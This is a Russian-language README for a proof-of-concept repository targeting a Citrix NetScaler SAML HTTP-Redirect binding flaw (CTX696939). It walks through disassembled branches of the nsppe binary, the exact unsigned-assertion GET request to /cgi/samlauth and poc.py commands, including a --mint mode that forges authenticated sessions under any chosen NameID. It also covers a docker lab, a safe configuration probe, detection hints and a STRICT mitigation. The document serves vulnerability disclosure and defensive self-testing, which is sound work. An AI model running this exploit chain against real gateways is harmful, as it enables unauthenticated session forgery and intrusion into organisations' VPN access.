
NetScaler ADC/Gateway SAML: обход неподписанных утверждений через HTTP-Redirect binding (CTX696939) — анализ первопричины + PoC
Подделка сеанса без аутентификации в Citrix NetScaler ADC / NetScaler Gateway через
обработчик привязки HTTP-Redirect SAML по адресу GET /cgi/samlauth. CVSS 4.0 9.3, CWE-288.
Бюллетень CTX696939 (2026-08-19), обходных путей нет. Авторство исходного отчёта принадлежит
Самарту Вашишту (команда пен-теста JPMorgan Chase); анализ первопричины и код в этом
репозитории — моя собственная работа.
Затронуты: 14.1 до 14.1-73.32, 13.1 до 13.1-63.21. Исправлено в этих двух сборках.
В nsppe, пакетном движке, одновременно сходятся две проблемы.
1. Привязка redirect разбирает утверждения со снятым флагом strict.
Все точки вызова парсера ответов SAML (sub_b40a50) перед вызовом настраивают аргумент
"strict". Путь привязки POST (то, что браузеры реально используют для ответов SAML)
передаёт его установленным. Путь привязки HTTP-Redirect — нет:
$ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30
b7f532: 41 b8 00 00 00 00 mov r8d,0x0 <-- strict ВЫКЛ
b7f538: 48 8d 8d d8 fe ff ff lea rcx,[rbp-0x128]
b7f53f: 48 8b 95 b8 fe ff ff mov rdx,[rbp-0x148]
b7f546: 8b b5 cc fe ff ff mov esi,[rbp-0x134]
b7f54c: 48 8b 3d f5 9f 6f 02 mov rdi,[rip+0x26f9ff5]
b7f553: e8 f8 14 fc ff call b40a50 <-- парсер
Это альтернативный путь в смысле CWE-288. Та же поверхность запроса, более слабый вызов
парсера, доступен любому, кто может отправить GET с параметром запроса SAMLResponse.
2. Шлюз неподписанных утверждений трактует конфигурацию по умолчанию как ALLOW.
Внутри обработчика redirect, когда запрос не несёт SigAlg/Signature, слово
конфигурации для rejectUnsignedAssertion сравнивается и разветвляется так:
$ objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe-14.1-73.30
b7ee3b: 83 78 08 02 cmp DWORD PTR [rax+0x8],0x2
b7ee3f: 74 5d je b7ee9e <-- переход на путь ПРИЁМА
Значения слова: 2 = rejectUnsignedAssertion ON (по умолчанию), 3 = STRICT.
Инструкция je отправляет 2 на приём. Только STRICT достигает строки журнала отказа:
$ strings -t x nsppe-14.1-73.30 | grep 'denying as per action'
2020998 SAMLIDP: Redirect Binding: Unsigned Assertion seen, denying as per action %s
Таким образом, на машине с конфигурацией по умолчанию неподписанное утверждение, переданное привязке redirect, разбирается (strict выключен), принимается мимо шлюза неподписанных утверждений (ON ошибочно читается как разрешение), а затем выполняет обычные шаги после разбора: проверки издателя/аудитории/субъекта против конфигурации действия SAML, затем построение сеанса из полей, предоставленных атакующим. Никакого digest, никакой проверки RSA на этом маршруте нет. Привязка POST не затронута таким же образом — она передаёт strict парсеру и корректно отклоняет неподписанный ввод.
Предварительные условия согласно бюллетеню, подтверждённые по бинарнику: сборки от 14.1-43.56 / 13.1-61.28 и новее требуют действие SAML, привязанное к vserver Gateway или AAA (обычная настройка SAML SSO, так что большинство развёртываний SAML подходят). Более ранние сборки регистрируют маршрут с одним лишь vserver.
Один GET. Соберите ответ SAML без <ds:Signature> где-либо, DEFLATE + base64
его, и отправьте:
GET /cgi/samlauth?SAMLResponse=<b64(raw-deflate(xml))>&RelayState=<ctx> HTTP/1.1
Host: <gateway>
Значения, которые должны совпадать с конфигурацией действия SAML цели: Issuer
утверждения = идентификатор сущности IdP, Audience = идентификатор сущности SP,
Recipient/Destination = URL ACS, а в транзакционных настройках — InResponseTo из
живого AuthnRequest. --mint проходит по собственному перенаправлению входа
pre-auth шлюза, чтобы захватить их (SAMLRequest в заголовке Location несёт их все).
302 на /vpn/ плюс настоящий cookie NSC_AAAC / NSC_TASS (не маркеры удаления
xyz) — это подделанный сеанс под тем NameID, который вы указали.
pip install requests
# есть ли конечная точка и обрабатывает ли GET-привязка SAMLResponse вообще
python3 poc.py https://vpn.target.com --check-only
# неинтрузивный зонд конфигурации: неподписанное утверждение с заведомо НЕВЕРНЫМ issuer.
# 'Malformed Assertion' (0xe0005) -> STRICT, не уязвим к этому вектору
# ошибка issuer/политики (0xe0012) -> конфигурация по умолчанию, уязвим; сеанс не создаётся
python3 poc.py https://vpn.target.com --safe-oracle
# полная цепочка (только для авторизованных целей): создайте цепочку SP, подделайте, проверьте один раз
python3 poc.py https://vpn.target.com --mint --name-id [email protected]
--safe-oracle существует потому, что две конфигурации возвращают разные страницы
ошибок до того, как происходит что-либо похожее на сеанс, что также позволяет
защитникам провести самопроверку без обращения к реальному IdP. Запускайте его
против собственного оборудования.
demo/demo.gif (также demo.mp4 и demo/demo.cast, если хотите воспроизвести его
через asciinema play): затронутая сборка из docker-образа, конфигурация по умолчанию
со словом 2, две ветки бинарника, дизассемблированные из поставляемого nsppe, и
проверка конечной точки PoC. Последний шаг — выдача сеанса — требует лицензированного
VPX: CPX Express отказывает в сеансах AAA на уровне лицензии, что и захватывает
lab/record-demo.sh, когда такой VPX у вас есть.
lab/setup-cpx.sh поднимает точную затронутую сборку в docker:
docker run -dt --privileged --name cpx19490 -e EULA=YES \
quay.io/netscaler/netscaler-cpx:14.1-73.30
bash lab/setup-cpx.sh
и настраивает действие SAML с rejectUnsignedAssertion ON, политику и
vserver Gateway. Две оговорки, усвоенные на горьком опыте:
/cgi/samlauth, но каждый запрос упирается в 480 Login exceeds maximum allowed users.
Этого достаточно для воспроизведения конфигурации + конечной точки + состояния
бинарника, но не финального cookie сеанса.lab/record-demo.sh
записывает всю последовательность asciinema: версию, конфигурацию, safe-oracle,
подделанный сеанс, отрицательный контроль STRICT.Смещения в поставляемом бинарнике выше взяты прямо из этого образа:
docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30
objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 ./nsppe-14.1-73.30
set samlAction <name> -samlRejectUnsignedAssertion STRICT блокирует вектор
redirect на уязвимом пути (делает слово == 3). Имейте в виду, что STRICT также
меняет то, что машина ожидает от вашего IdP (требования к подписи Response +
Assertion), что, вероятно, и есть причина, по которой Citrix поставляет ON как
значение по умолчанию и почему «просто установите STRICT» — не чистое решение
для всех./cgi/samlauth с SAMLResponse на GET (ответы привязки
redirect редки в реальном мире — браузеры используют POST), неподписанные
полезные нагрузки и описанная выше разница страниц ошибок.Только для авторизованного тестирования безопасности: собственная лаборатория или цели, явно входящие в область программы, на которую вы авторизованы. Автор не связан с Citrix или исходной командой, сообщившей об уязвимости.
Лицензия MIT, см. LICENSE.